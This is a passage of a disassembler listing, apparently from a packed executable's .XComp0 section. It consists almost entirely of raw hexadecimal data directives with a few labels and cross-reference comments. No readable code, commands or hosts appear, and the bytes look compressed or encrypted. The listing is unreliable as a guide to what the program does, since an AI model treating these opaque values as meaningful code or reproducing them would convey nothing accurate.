		dd 8FF24461h, 0B119407h, 662ACC68h, 7090063h, 51555F6Ch
		dd 5199DB9h, 5E683718h,	0E311343Fh, 799E58E3h, 108D3448h
		dd 5C3BCB94h, 9772412Ch, 0FF401D21h, 0B4F6FE96h, 67075595h
		dd 0DF01589Ah, 0A81B2FD6h, 5C895793h, 0B025D3E7h, 834DE785h
		dd 8CF8ED17h, 84FA8633h, 0EB4DBC60h, 40BB1415h,	9AFC5B8Dh
		dd 33040BB5h, 6EE29A5Ch, 80C24AB8h, 573BFB9Eh, 0C1496E06h
		dd 7DAA07E1h, 93B9A21h,	71C50E56h, 20F93302h, 0B10B9BD2h
		dd 2626F69h, 0F2155BF0h, 0C28102C5h, 75375063h,	48E18D63h
		dd 2129DD84h, 0B4042A55h, 3694CEE9h, 0C2094B91h, 806BF370h
		dd 0F704E681h, 4E516D62h, 747CAC82h, 0D94A8941h, 0A805262Bh
		dd 4E81AC5Ch, 0A64A708Fh, 0B7324E57h, 54560083h, 8224E95Eh
		dd 8089561Ah, 1BD368B6h, 7517C831h, 5FFD0987h, 9A07CCD2h
		dd 26CA6EB0h, 0F052B65Fh
		db 0E9h
byte_4F5345	db 3Bh,	60h, 7Eh	; DATA XREF: .XComp0:00452F20o
					; .XComp0:00453274o
		dd 16D0CE17h, 0F71F0298h, 7EEC1DEh, 4DE63760h, 0B718943Dh
		dd 0DD7148D6h, 0F6442EA6h, 1EF5EE00h, 4DE9F329h, 73580719h
		dd 71688005h, 0B5B28C4Eh, 1755DD48h, 74916602h,	6760BEB1h
		dd 12EF9ACBh, 939F7CE9h, 169CD3D3h, 2DE8F5D0h, 44601F7Eh
		dd 232ECA47h, 89A642C5h, 0F853C7Eh, 0B002C0B6h,	40535287h
		dd 0E41CA82Bh, 31BB3E5Ah, 3B9A5527h, 5253BF20h,	1B905A5Bh
		dd 0A7290DD7h, 114F6430h, 138A9BB9h, 16115431h,	96EDD116h
		dd 130FC008h, 0E821A45Dh, 4BE9166Bh, 0CB25280h,	23107848h
		dd 5B54C435h, 0C4C3999Ch, 0B8ADE965h, 0CB9B5C27h, 50F68053h
		dd 9701356Ah, 91590709h, 67BC0649h, 4FC701DDh, 164A831h
		dd 69A61CFh, 59699508h,	30FBD35Bh, 0D6569D38h, 54F04C4Ah
		dd 0ED08B7F2h, 39DA13D9h, 6AC2D9D0h, 87E8C324h,	4C806310h
		dd 0EF8716AEh, 61163619h, 0B2E59C5Ch, 8ABD6Ch, 11680426h
		dd 0A184823Ah, 4EDC101h
dword_4F5454	dd 695030h, 29A00553h, 595F5DE8h, 0A1685601h, 5E786639h
					; DATA XREF: .XComp0:004530ECo
		dd 0AB40A328h, 0A962102Dh, 6D58242Eh, 3E591203h, 0F7127873h
		dd 0DF680843h, 0DD3B0E9h, 0E0A0036h, 2150BB53h,	88B80703h
		dd 424B5C5Fh, 0B7F0EEh,	9C4AB5BEh, 5EF73141h, 48F82927h
		dd 9F6ABCF8h, 0FF688FB8h, 0CE8D2E5Ah, 4931DC0Ch, 0EA00EDC2h
		dd 165567BCh, 0CA5D015Fh, 0E100D26Bh, 0C33666BDh, 0EA29165Bh
		dd 876A2C5Dh, 95B7144Ah, 59F4E916h, 0FCB2EB20h,	7712B753h
		dd 0D606FA08h, 52671D69h, 6425CE7h, 21847E48h, 0D583BCC8h
		dd 0C5512D26h, 0A95C44FAh, 234D1334h, 0BB8EF8A3h, 0E9511178h
		dd 18B217E0h, 0B2031200h, 3D4A2D6Ah, 201CB05Fh,	0BA07169Ch
		dd 210730ECh, 7C5128A2h, 541B62DAh, 0A79D8209h,	6B415C63h
		dd 6D099802h, 4C97CFE6h, 0A0D8BC7Ah, 0D9E82C91h, 44214F8Ch
		dd 2A537A9Eh, 905EA89Bh, 82C9E97Ch, 0CB1993BFh,	32FBD153h
		dd 0F8B81480h, 484B5272h, 344B1EF6h, 0F02043C9h, 0AC1426B1h
		dd 0F9B80700h, 1255F79h, 0F5ED21C6h, 4E242493h,	99A2B369h
		dd 4008AB1Fh, 0C17A1DD8h, 82E5B674h, 97BE2B77h,	1E37A2D6h
		dd 0AB28633Bh, 66350726h, 0E3C3FE59h, 0E705A07Dh, 0CA3E75E5h
		dd 33362C1h, 5E20CA2Fh,	0E24FE9Dh, 348B8ABEh, 0F4DEB04h
		dd 3D8AA450h, 94809593h, 3B2AB561h, 66FBC330h, 0C043629Fh
		dd 69C058BEh, 45546DE9h, 9F9BF3DBh, 0CEBEA225h,	2FBEF1ABh
		dd 1CEDB596h, 0E0D1015Ch, 3507E8C1h, 7014AC47h,	3B86064Bh
		dd 63C10739h, 67575916h, 0A579C1C9h, 62E1F023h,	521C741Fh
		dd 5529F101h, 248A24FAh, 48920ACh, 98257B68h, 9CE233EFh
		dd 0E931700Ch, 1E98E25Dh, 53467316h, 43156F9h, 0C11C3E0h
		dd 7F425C58h, 3F624804h, 84287901h, 2E44E901h, 0ABF0C517h
		dd 29B2403Fh, 4D2FF07Eh, 96B5E490h, 0B83DC3D7h,	20282A20h
		dd 0F7126D4Fh, 7F053DDh, 24120B5Ch, 0BB808914h,	0EA166DBBh
		dd 23292E24h, 305DD2Ch,	9409C833h, 0BF9C20DAh, 60E42E1Bh
		dd 7CF0425Fh, 80BD4DC0h, 543EEB59h, 0BD553831h,	0B6C34450h
		dd 335A0979h, 631D706h,	859509F8h, 0F9FC5E2Bh, 4BFC68A0h
		dd 938798B5h, 41A6A13Fh, 6AAA047Eh, 9094E8DFh, 799277A6h
		dd 0C680895Ah, 1A30B0E5h, 0AC4D42A7h, 0DB054900h, 0D5C9328h
		dd 4D0825DDh, 0E25692B5h, 2BB4A409h, 13E82568h,	0E92F26CCh
		dd 0DDABC8CBh, 42949774h, 0F425DA8Eh, 68249090h, 9A424822h
		dd 0AD52CAh, 26D30617h,	0EEF0CBBAh, 0EA011C05h,	27302C8Bh
		dd 2EF070B8h, 86D7BD29h, 8CD513E9h, 1C4EBB04h, 2CE80CD1h
		dd 0EC7BB212h, 0A6A89226h, 0BD4255B8h, 6BE98101h, 217F354Ch
		dd 0BA64459h, 25E65D08h, 0B061DFFCh, 2C08384h, 667A4E2Bh
		dd 15EBCFAFh, 0ED80B760h, 0EA201616h, 795F197h,	129376E8h
		dd 0BFF6C402h, 236D5C46h, 53FA26A1h, 2FB00B45h,	9B541332h
		dd 2729EB6Fh, 8E645D22h, 78055AD5h, 32C1CE32h, 473C5AD3h
		dd 6C7CB0A5h, 6ED65805h, 5DF88CE9h, 4E1F777Bh, 4844B3CAh
		dd 0A12E2CA9h, 0D6C30452h, 48F05A0Bh, 0EA1D5F2h, 568F5350h
		dd 3331C020h, 42268F64h, 305C1D2Fh, 825208F0h, 0DCED2240h
		dd 4D45DF05h, 0E85AE889h, 5724460h, 0B17233C7h,	0CCE2B049h
		dd 39122917h, 40E1E9C8h, 0C5328079h, 6D86CBh, 39CA055Fh
		dd 0C054492Dh, 81723CEAh, 1FBF2050h, 4BEF140h, 38E40A98h
		dd 1021BE01h, 0AF89764Dh, 855EAFDFh, 0EE41D480h, 24FD3117h
		dd 24F0095Fh, 1F5C03B8h, 91B76372h, 0C9E66E77h,	0F4EA6149h
		dd 37CEC2Eh, 89C52B5Fh,	6318DEADh, 0CCEEB91Bh, 5AF42805h
		dd 0B088E130h, 78484115h, 304F3FD3h, 671A0C5Eh,	0A355FBAh
		dd 3408EDE7h, 5F14070Ch, 8C2DA83h, 622FFF0Fh, 0D03382BFh
		dd 5D7C6EBh, 4A6ED22Dh,	5AFACB4Eh, 1C68518Ch, 0A78E3C14h
		dd 23B67C5h, 5A6058F6h,	3EF8F611h, 0C69214B0h, 3F0DA8B4h
		dd 3B5D5607h, 0D0A01A44h, 5BD90088h, 0C05AF130h, 681306E1h
		dd 0AB3408A0h, 9CE70BBAh, 0C40C1C99h, 0F7264EDCh, 10326DDFh
		dd 0A31661B2h, 0ECA5127Ah, 6FC35C75h, 61AA406h,	5EC18ED7h
		dd 993A2C31h, 62B908E8h, 8D201541h, 5A5043A1h, 968F728h
		dd 0EBA27D1h, 0E5252AFAh, 88826D16h, 91206520h,	4D5E3804h
		dd 33BA5F70h, 0A94EFEFFh, 0BC9308D7h, 0F535038Ch, 0D901E4ADh
		dd 1CC814DAh, 1699C828h, 5202C481h, 0C12BE2B2h,	9DE44A92h
		dd 0EBCDC527h, 7CD44B70h, 24967B08h, 1511DE29h,	0E4506C20h
		dd 5B014047h, 5CDC629Dh, 0B3803A30h, 8968C406h,	7931E9DDh
		dd 0AE4EDB6Ch, 5AE96AA4h, 438262C2h, 0E1AB3027h, 0CCADF495h
		dd 0B31AA8B4h, 0F6458288h, 0F3488390h, 128A308Ah, 13F08A59h
		dd 7E569FE9h, 0CFA64513h, 8F761418h, 413209C1h,	20F1D877h
		dd 84371405h, 0DF81685Ah, 4D03266Ch, 6258B1h, 0E2FEC180h
		dd 3C07BC9h, 0CC885002h, 0E1A1DCF6h, 32CD4158h,	5D017AFEh
		dd 5AD13003h, 0E059CBF8h, 819EBFD8h, 21406879h,	79766BE9h
		dd 6B9788FBh, 6859B14Ah, 0E8CD9C09h, 3D3DBCDAh,	53902F8Bh
		dd 245C2763h, 0DDE00A85h, 0F8313C66h, 0BB3CC415h, 6FEBC541h
		dd 7CC50D06h, 5E3DCC88h, 2B4136A1h, 51520240h, 1728F1B9h
		dd 0F1293EF3h, 9D1B6333h, 17AC6993h, 0B1FEDAC6h, 25FACB26h
		dd 0D3F70403h, 0D087F24Bh, 8C6827A3h, 917001C8h, 0D78975D3h
		dd 0F1878803h, 6074AD07h, 0A3484B16h, 98B510CAh, 51000D4Ch
		dd 0F7061D63h, 0E001C1D8h, 4F7C2D07h, 732CA14Dh, 0DD63A297h
		dd 25A420A1h, 0CD902C6h, 0C5C5E944h, 9CDE0C23h,	0A72F0EB8h
		dd 0CAFA1D09h, 862C6A0Bh, 393A8D7Bh, 0DB809CD5h, 0F580CCB5h
		dd 0ED3BC0ECh, 3DCD1E06h, 9E93E54Fh, 0D517EE5Ch, 39127AB2h
		dd 41A6F45Dh, 7B61663Ch, 0E2C4764Fh, 0AE845EF8h, 2133BF57h
		dd 0B3FCF4E9h, 2CF2912h, 0BA1973C8h, 273800D5h,	0B3FC40Ch
		dd 0A5E94759h, 569E06F8h, 7ACC9652h, 0F939857h,	5B446217h
		dd 1EABF3C0h, 895B5DD9h, 8241EC04h, 4A528C14h, 0C6DA1225h
		dd 0BACA345Eh, 567F9884h, 75F0B9CDh, 8191D4h, 67C55452h
		dd 65FAEE29h, 9D2AEC95h, 0D65CEB64h, 39E630ADh,	2E624BF7h
		dd 73D43FCh, 0B24DA9E7h, 92804F58h, 12CBCACDh, 4002F9B0h
		dd 143041Bh, 91642F9h, 0A3CCC808h, 0C780801Fh, 2B05E558h
		dd 5704CAAEh, 12AED568h, 0B551EC3Fh, 26D3C4B8h,	0ECB920CAh
		dd 0E94DC798h, 0BEE1C169h, 41F35930h, 6A4357DCh, 0D4B8ED25h
		dd 0E78CD00h, 2EE966A5h, 0A057C40h, 5D876820h, 0FD8009CFh
		dd 2E4D80A0h, 2D8121C5h, 3D850744h, 966E444h, 6147F9E4h
		dd 360A37ABh, 0C676A601h, 0D3A72913h, 0ECE5AE4Ch, 665EC9FDh
		dd 97FF9864h, 19B60F13h, 1F6EB901h, 0CE09743Dh,	66DEA0F1h
		dd 51660E92h, 0CB0BCCB1h, 0C3090B0Eh, 0AD582C56h, 0A0B4D2B9h
		dd 0D59432D7h, 2747CF2Dh, 50518540h, 330B8958h,	0A95A4580h
		dd 0F0C10FF6h, 973264ECh, 0D3D5D20h, 12067CDh, 5D0881EEh
		dd 0A6021E92h, 2CD315FAh, 0AA9E10A9h, 0CD5E501Dh, 780EB4F5h
		dd 0B9D3CE05h, 6810882Dh, 5017419Fh, 0C4825E5Ch, 5B887556h
		dd 0A2287ABh, 0F589834Ah, 0F0DDD5CFh, 0C900C5C9h, 2D7393CBh
		dd 0ABD6C8Dh, 5E80108h,	85F32607h, 0A7595451h, 0F801C4BBh
		dd 7DAC48C0h, 0E96109A1h, 219ADC71h, 1C59B57Ch,	4EC972h
		dd 0C3BA5296h, 1F05CF03h, 0E009E94Ah, 0BBAE396h, 6045ED81h
		dd 45585605h, 549AE9D3h
		dd 0C3273B83h, 87BD9314h, 3CC5E9E8h, 1B0E73A9h,	43093734h
		dd 7023A782h, 50438109h, 0F6E85853h, 27DF9AB7h,	0D2515DEBh
		dd 708AEF01h, 0B4F723BAh, 80B0FC4h, 0C06A925Dh,	4310885h
		dd 326892C8h, 7F42CD51h, 85EAA828h, 0F9C7E90Dh,	3F1E3D2Ah
		dd 840C5535h, 1F64D92h,	0B907DAEh, 4206E6C1h, 24D52A8Fh
		dd 0F1E2174Dh, 24045789h, 1AE013C6h, 26B6EE1Eh,	20DC09F8h
		dd 67FE38C9h, 0F29466BFh, 3D2899F5h, 3CA27FF5h,	892771C9h
		dd 0AC12978Fh, 2E80AC18h, 388EA2E2h, 1716F04Ah,	27298240h
		dd 81A22DE8h, 0C7515895h, 5E7EB940h, 5E09F6D9h,	0D10F31CDh
		dd 0FB1220EDh, 7F51EF75h, 905472DEh, 90FF89E6h,	80F88F63h
		dd 255BAB68h, 0CA4AB89Ah, 3CE90BD7h, 0CCFD6876h, 4F1CB992h
		dd 0EF674464h, 4220C39h, 72912196h, 0B6F510F6h,	53AF3216h
		dd 1D8001D8h, 8C1B2DCDh, 0E57E137Ch, 0F6077FAh,	1CD6AB30h
		dd 91E91903h, 0DCE347ADh, 17BB806h, 5F96DE59h, 0D0518992h
		dd 0C689049Dh, 80DEF758h, 7D7BFE23h, 0EED17F18h, 1FDFA710h
		dd 67E97CE8h, 0FA87E740h, 8C3D7EAh, 88A4BE56h, 0B2952DEh
		dd 0D1015EF2h, 89841C96h, 44EDF731h, 0E6FCFDBAh, 3886B535h
		dd 479D5DC2h, 0C2382CDDh, 12C05650h, 2A017FCCh,	0E9FE890Ch
		dd 372E72ACh, 0A04A94CDh, 0A6B35E83h, 0BBA26812h, 20E2F1D2h
		dd 0C54DE976h, 3ABE035Dh, 0D15F8B1Bh, 413A0D3Bh, 34B7070Fh
		dd 0BB1730DDh, 2B091271h, 0D84CE97Eh, 3FBD4DCCh, 0CB17399Fh
		dd 0D9860E59h, 0CC548DE5h, 0B52D687Bh, 0D8AC1270h, 0F0F12D5Bh
		dd 0BB1FB9EEh, 0E39E9D16h, 4BCFC42Fh, 0CBFE1321h, 63680984h
		dd 5069181Dh, 6FC36CE9h, 1C1A4BBAh, 619817B3h, 1D3FF1D8h
		dd 2762E5Eh, 0E84CE3B2h, 27EE0B60h, 115360Dh, 8016ACBh
		dd 852E84E9h, 3C702984h, 8301D3C2h, 0A5FAE95Dh,	68E68F82h
		dd 0CAF974E0h, 0DE0917A2h, 519FEBE9h, 94512517h, 0E26AC340h
		dd 860953Bh, 80823254h,	422C9846h, 1E5D9063h, 0E7DD3A44h
		dd 6501666Ch, 315E0805h, 28805FFEh, 6B9713BDh, 40547AE9h
		dd 4B60DFA2h, 0F0F78106h, 1CF33B1Eh, 1A68E702h,	0FF6056C2h
		dd 211882D2h, 14A2976h,	6B379CF1h, 34BFA4D0h, 9FE492C5h
		dd 1E4BD44Eh, 73B25E13h, 0B3605C4h, 9498FC0h, 830561FFh
		dd 226F04E5h, 614B85D3h, 9744BBB4h, 89442744h, 0E8ECC1E1h
		dd 0F879D521h, 9EB77BE7h, 0FC712C1Ah, 2A5BA585h, 0C8856684h
		dd 0A643A1C1h, 0DB22BF04h, 7F0F5F56h, 0B2B51D90h, 66C09FD3h
		dd 0CEF5EF80h, 0D70FE806h, 7BB0C70Eh, 0CED9E91Ah, 5A517E71h
		dd 14F61342h, 8D1C789h,	0C8253A0Dh, 60FBE914h, 0E2B044E5h
		dd 0D0E4D8F6h, 3EFA3BFAh, 622C056Bh, 9FAD8F4h, 55D8295Ch
		dd 4DFB2983h, 1FBD58F0h, 7D44811Fh, 209CE0A5h, 0CFD88396h
		dd 0ED246BC4h, 0B302013Eh, 4073A861h, 14D6D713h, 9609F933h
		dd 0E3E7A655h, 7A0876D2h, 40D141CEh, 0F3374A8Fh, 0D207404Ah
		dd 0C0299EDh, 0C8B7F3Ah, 0D252775Eh, 99FA3058h,	5861C28Bh
		dd 534EC62Dh, 0D04C259Ah, 0E9F9F705h, 9AACAB64h, 8C685380h
		dd 704FBF56h, 4CEF318Dh, 1660C673h, 0C75E95Bh, 4E0B72B1h
		dd 0F9B7A9A5h, 93FABFBh, 0E1D897E9h, 0C9163348h, 8895D4FFh
		dd 1B27F1DAh, 51D8817Fh, 0E6645361h, 40473C8Fh,	29509227h
		dd 4CBC59Bh, 216541Fh, 5D7BC251h, 316E847Fh, 0FAE72DBAh
		dd 0E720ED78h, 56D3BE2Eh, 89EFE92Fh, 50630295h,	49B87D99h
		dd 30FE665Ch, 0A464BDFEh, 9EEC5B2Ah, 21EC13Dh, 3442D368h
		dd 7EDCB977h, 64901D2Dh, 0B86812E2h, 66188839h,	0BDB35307h
		dd 5B61DE88h, 0D589F030h, 9B6C5456h, 0D02C08BEh, 20E53C1Ch
		dd 74F38169h, 712E26CAh, 0F92984F4h, 0D59EA5Fh,	0D820598Bh
		dd 390E651Ch, 39A601DAh, 0C42D73FBh, 2A3B78A5h,	23C0010Bh
		dd 0D029580Ah, 0E0DC2260h, 6D2760C8h, 4B72A2C3h, 1B3F58h
		dd 0BF794E05h, 3C54972Dh, 769E0EE2h, 31C32F55h,	0E90705E5h
		dd 57C3B003h, 0C256C2CBh, 0B39425Dh, 2A747198h,	0FC8839F2h
		dd 53582213h, 0F4E4AD5Ah, 59CA97BCh, 0D22B490Dh, 0E9E74474h
		dd 88DCA00Bh, 4E585BFDh, 0E3190966h, 814A04A1h,	2F73FCF2h
		dd 44B17B4Bh, 18CCCAE4h, 1E0D431Fh, 4405E8A5h, 5AD03126h
		dd 122C9700h, 0A043574Eh, 0EC6BA9CCh, 48E91234h, 790BE39Bh
		dd 7327B425h, 4FEE0865h, 2DB4513Fh, 7F31D20Ch, 377D5EBEh
		dd 0F028A500h, 83B1515Ah, 685A18B0h, 0D6384CB3h, 0C84C1592h
		dd 31F025B1h, 0C8011B3Ch, 87084185h, 475DF60Ch,	96EFC9EBh
		dd 0CA4EDC28h, 507604Fh, 50E97A57h, 0E1E49D38h,	1809CA3Ah
		dd 30CCDB4Bh, 0B22DEEF8h, 1E99B225h, 0C81C5F21h, 0C0011A0Fh
		dd 682C07E8h, 9E557FE8h, 5A6D8216h, 0E5C3BADh, 5C2EA25h
		dd 29C2580Bh, 5EDA525Bh, 0B8D590F0h, 0C7175CEEh, 0FF1C0976h
		dd 81039DBFh, 0B4E4C83h, 710C3321h, 545A0FEAh, 190C5396h
		dd 5E182E0Eh, 1A861CBh,	0CB91E908h, 54576212h, 8387A2E9h
		dd 6DEB6FEFh, 80557EE1h, 171653Ah, 0C06ABD1Bh, 0D531D0BCh
		dd 516B68E9h, 8E8780E5h, 26327729h, 2D615658h, 1BEB03C8h
		dd 5301F12h, 348FF150h,	95867195h, 95CF9DFAh, 43C86693h
		dd 46A2415Bh, 0BA070BC4h, 70FA226Ch, 69ED12F4h,	6AE124h
		dd 3AC90A55h, 4B31DBF7h, 7030C281h, 2000007Ah, 25241A26h
		dd 1107F600h, 47DC0D3Bh, 2D01009Ch, 0F302048Dh,	0F0CBC309h
		dd 88635987h, 5F2846F4h, 7220C978h, 3C3B5D57h, 0A29F0735h
		dd 3BF359D2h, 359AE014h, 0C0792E4Fh, 0F3651D88h, 0CA4EE996h
		dd 0ED547813h, 145C0B6Ch, 83108522h, 0F24BD6ECh, 0F8C9DF4Fh
		dd 5D781938h, 5EB1A360h, 0CBDA550Dh, 576E0412h,	0C619EDAh
		dd 19939EE9h, 0A01FF6D8h, 809726EBh, 6CEEFD89h,	0BA2D0097h
		dd 65EF67D7h, 82EAD837h, 25D474CDh, 0D294B10Bh,	54922D9Fh
		dd 2A56EDBh, 7533D08Fh,	2BF1FE18h, 0BE6C659Dh, 82BED894h
		dd 0C04013DEh, 0E764B89Dh, 789BD225h, 3D289E8Fh, 4042D980h
		dd 0A171E9B4h, 22950FBAh, 5770DA7Dh, 12AFA830h,	543C9195h
		dd 0E91B306Bh, 0C69F3216h, 0B63250Bh, 0EA6431DBh, 50005336h
		dd 0CB56A168h, 0B0F7587Dh, 0B28E5AF6h, 0E5010372h, 7F31F999h
		dd 0FC5FF3h, 6FD6BBB6h,	6BFD573Ah, 0C158FBD2h, 0D44BD48h
		dd 12A49DA8h, 3432FDC8h, 4ACB3929h, 0B5E95F05h,	18F1CDAh
		dd 0EF8058C7h, 0A3EAEC69h, 0A071B692h, 37F93080h, 0B208C7FEh
		dd 9675C199h, 0AF4C97C5h, 59CE0104h, 0B2A022E9h, 77BF0205h
		dd 0C23172ABh, 50BE1860h, 5D345B00h, 7645F681h,	3D62B040h
		dd 0CD1870EEh, 0C14F0C2Bh, 2979E117h, 8D27C6A8h, 0AD092F09h
		dd 0F8FA342Bh, 39F15C5Ah, 135D8B6Bh, 69987420h,	84E92D53h
		dd 0D85452E1h, 0DEB65288h, 37C38041h, 8B2E5B30h, 0F8020ABh
		dd 879E1C84h, 3C8B6804h, 31C0CBACh, 59751E0Dh, 0C6DEFFDCh
		dd 1A6DAFFCh, 841309FAh, 51039240h, 0EE92C588h,	5E525854h
		dd 0B3E46CC6h, 3952AC80h, 5DFA1AB6h, 904C9273h,	0F4215E12h
		dd 68135565h, 60614CF0h, 3101560Fh, 260960CFh, 0DED1C94h
		dd 82EA6520h, 0FF5B8D5h, 0E9C817BEh, 653B52A4h,	6E097971h
		dd 38E8F049h, 865F75B0h, 0A09F70F0h, 39D2C292h,	2777B0FEh
		dd 427A3E3Dh, 5104C52Fh, 0DBE9E189h, 0B0226AD9h, 23C902CCh
		dd 20BC9ED7h, 8D969F2Eh, 0B9BF40E9h, 21F90060h,	0B1093BBDh
		dd 0C0823103h, 32697E4Ch
		dd 85742248h, 0C2812A74h, 33145EBBh, 602EAD8h, 15DCA12h
		dd 8831CF2h, 42141C41h,	0D4096Bh, 76838C2Ch, 9901C180h
		dd 0C6D859F1h, 6A06CE19h, 0A38ECE0Bh, 1EDE06BBh, 28A9EB09h
		dd 0B35A0EF3h, 9598F9A4h, 0EACD6B8Bh, 2DE27B2Ch, 9622669Ah
		dd 3BBB42FEh, 0AD01647Ah, 8147BC09h, 70F0D1CEh,	5809B013h
		dd 0A997FB1Eh, 4D277B7Bh, 8C2D519Fh, 190E292h, 0A3E2D74Fh
		dd 88A2B101h, 0CCFE59C8h, 0D3FC352Ch, 0ED513864h, 0C115AABh
		dd 0E91D2155h, 447FE1D6h, 81488C29h, 60F729CCh,	4828A22h
		dd 508D7EFAh, 0AD8E396Fh, 9825314h, 0A721FBE9h,	78F1F766h
		dd 0DC207B20h, 3050763Fh, 0E5A12251h, 0D32F23C8h, 0F5F8040h
		dd 0C07A721Bh, 0AD12820Ch, 0EA0D0188h, 3483F9E9h, 8140C07Ah
		dd 0DE272DF3h, 1237743Ch, 47A4A53Dh, 9EB53721h,	80536784h
		dd 3B43A042h, 78895F2Dh, 9ECB0557h, 1590B42h, 456B7DB9h
		dd 0A7EA6060h, 137A2018h, 2F86870Ch, 9B0F218Ah,	7429CFE0h
		dd 0E9136322h, 0F5FC904Ch, 4AAA69A5h, 8E90A9Dh,	26B0817Dh
		dd 0E8FD1795h, 83B1A629h, 6723090Ah, 0A882485Bh, 0C9D4A9F4h
		dd 7DC5F393h, 8C7642B7h, 68193A90h, 1C882B2Ch, 53D85Ch
		dd 0CFFEA1B7h, 8003EFC0h, 60BFFEBh, 70FDE9F6h, 0C7882C32h
		dd 9DC221Dh, 9CB6C935h,	0F8C67C84h, 28C00404h, 32B53B8Ah
		dd 65AA0805h, 60F0E005h, 0BBC5C660h, 0B09D0B50h, 84D85B77h
		dd 459AB29h, 2D3B5438h,	0A88E6F58h, 51675C31h, 9ACADEE9h
		dd 7FBB1DC0h, 1633232Dh, 0C09E35BEh, 7D39A028h,	68311145h
		dd 4A7ABAF5h, 86F88ABEh, 2C2815B2h, 0E403320h, 0EE4A63BDh
		dd 73E7ACF3h, 0D1F74197h, 977EE1CEh, 0FCC12102h, 0A40B3A4Dh
		dd 97EF052h, 34426DAh, 9F56785h, 0CB0B5A07h, 0EFFA57F2h
		dd 0DC30E509h, 9A6D0036h, 955A8810h, 80D986Ah, 5E14021Ch
		dd 48978FD7h, 0F1073FE3h, 0C056C162h, 922A7405h, 0C8286E76h
		dd 35B0072Dh, 31AE9D30h, 0B082444h, 351633Fh, 0E90282AFh
		dd 0BE7348CBh, 7D129AA5h, 0C5E94A02h, 5F175254h, 0DD3ED38Dh
		dd 37646EE7h, 0E9C458ECh, 3B7DBCD4h, 0DB853D55h, 22E96624h
		dd 5F001F0h, 546D470Ch,	88B0D644h, 5D1687EEh, 560E465Fh
		dd 0A41657F0h, 0E31EB7FCh, 173871Fh, 1DE985D1h,	84B4B08h
		dd 461704F2h, 3080A20Ah, 5F4A0D3Dh, 0C2904B74h,	0C8D85643h
		dd 0A22DE970h, 0EB752E9Bh, 598650ABh, 9334B3D3h, 0F7EED81Fh
		dd 5768F90Bh, 5077992Fh, 0DF7CB260h, 571BC92Fh,	62258BDBh
		dd 40ABF95Ch, 4F69BA52h, 0B554F324h, 5961AF00h,	4D99E94Dh
		dd 0E504A644h, 0C1D5F706h, 0C78CBh, 0A8569968h,	61B95132h
		dd 19E95BFEh, 0B7DE24F8h, 0FC4A6170h, 1C08D28h,	0EC8002E4h
		dd 96CCFE58h, 0F308A70Ah, 77290979h, 0F0961F1Ah, 97CE4595h
		dd 2210355h, 0B82057FAh, 4301BF03h, 31557D2Dh, 6F68F0E1h
		dd 0A9265E24h, 5A896C1Eh, 992D606h, 0B75BC183h,	9354550Fh
		dd 60C61804h, 3C87E8D1h, 30178673h, 28C5DDD8h, 0DAE9C2C4h
		dd 4E5662Dh, 701D26B4h,	44C11001h, 8BA5409h, 1C4A4220h
		dd 9ED6F74Eh, 1E278CDEh, 9A628751h, 7E472972h, 0A885456Eh
		dd 0A8CA4B3Fh, 0A5B9667Eh, 279DE659h, 885821B7h, 86031FD9h
		dd 7BD1F6CAh, 10374A08h, 0DD8FA66Ch, 567E24Ch, 0CD10C012h
		dd 57046B13h, 0F1F82BFEh, 0F14A169Eh, 0D2F7D09Ah, 7E2C117h
		dd 0FE192A0Bh, 0EBE5817Bh, 60382671h, 714DF06h,	0DDC43B52h
		dd 68565047h, 40852E77h, 0E01AE1C1h, 139E6778h,	319E4A9Ah
		dd 0DCA80991h, 6D18EDD2h, 0EFBCB662h, 1A12C307h, 0C826A930h
		dd 3E0185DFh, 89E8A35Dh, 0F514E27Ch, 0A005C75Eh, 0BB022155h
		dd 6544AB43h, 3AA9D0Ch,	51E36CAEh, 44CEAE0h, 19B7F01h
		dd 1325E9D3h, 0B66BCC3Fh, 0D5B3064Ah, 14019D04h, 0A54DB836h
		dd 32A94F01h, 0C9A08B9h, 0B80A03FFh, 40593FBAh,	0DB04455Eh
		dd 0AA8A761h, 38591C68h, 47033840h, 505D0043h, 60068FB8h
		dd 4ABF213Bh, 0A869820Fh, 82A176BBh, 72D2334Dh,	5C4E98D2h
		dd 454FF888h, 0C8A3A99h, 531D4132h, 76B1D681h, 1E807BBBh
		dd 286CC5E6h, 60DC79B4h, 68C26BA3h, 376E265Bh, 59DCE00Ch
		dd 9C2EE9CCh, 0E4BA12D6h, 57260978h, 1444011Ch,	927867B2h
		dd 6D09935Ch, 8ACA3A34h, 0B188858h, 0C388B1F7h,	0CF6A20E5h
		dd 4BF1879Fh, 30B1B265h, 0DAFDD1FDh, 9542CBD1h,	0A839D1E5h
		dd 71D60F14h, 2BE927ACh, 0B9055E50h, 6FC97B40h,	16313FEh
		dd 0AF11D227h, 0EC449009h, 3543250Eh, 0B2051640h, 7A7AD459h
		dd 0CB71270Ch, 24601461h, 18F9ACBAh, 0B1C6DD29h, 391D341Eh
		dd 52D6267h, 2CEB5D08h,	0A29F665Ah, 0F9870889h,	91C6AD13h
		dd 7DD9EE09h, 1258D8C7h, 919452E9h, 20A8CF59h, 0A7F84ED3h
		dd 0B3289DB6h, 660FBFFCh, 0F53931Ch, 0BD3FDF7h,	207A75A6h
		dd 68257238h, 76AEE2D5h, 34445168h, 354A4E76h, 6468CD21h
		dd 357D4E38h, 0B878A70Ch, 2925050Ch, 7DC02B08h,	9876648h
		dd 0A565E967h, 2E6109B0h, 0B63659Fh, 2B2709EBh,	0D0F474F0h
		dd 3B462587h, 512420Fh,	133A1BAh, 5776C689h, 41871A50h
		dd 6517D3AEh, 0ADB37CE0h, 0B1487806h, 0FC418E60h, 171ADE64h
		dd 0F831684Ch, 4ABA90C3h, 945B01A9h, 0A1BCC3B6h, 2173E1C0h
		dd 0AED7B1A2h, 0B5AE6114h, 3830DB91h, 9B7402EDh, 4147E95Dh
		dd 3A115249h, 977E3681h, 0DC87B701h, 55B46002h,	0A3A6861h
		dd 36F87CEDh, 0D1CC77Ah, 583E5326h, 0D8C8C1D2h,	6773C580h
		dd 0AC86ED3Dh, 529D383Dh, 0B3FA928Ah, 454CF0A5h, 2972F4CFh
		dd 53616681h, 255640CEh, 0B31F0CEh, 844DE9F5h, 64E2A9F6h
		dd 885B7109h, 462DEEA6h, 9A5C4C47h, 0E2C67B27h,	54E70B69h
		dd 0D09CCF35h, 0E8D11D37h, 0DBC0DCC9h, 0E25292A3h, 0AF680952h
		dd 605AFC48h, 176D433Ah, 6EF8103h, 0B00FE12Ch, 3014C5E7h
		dd 0B918324Fh, 0B24317Ch, 8527AA47h, 6B83C082h,	0D4269F30h
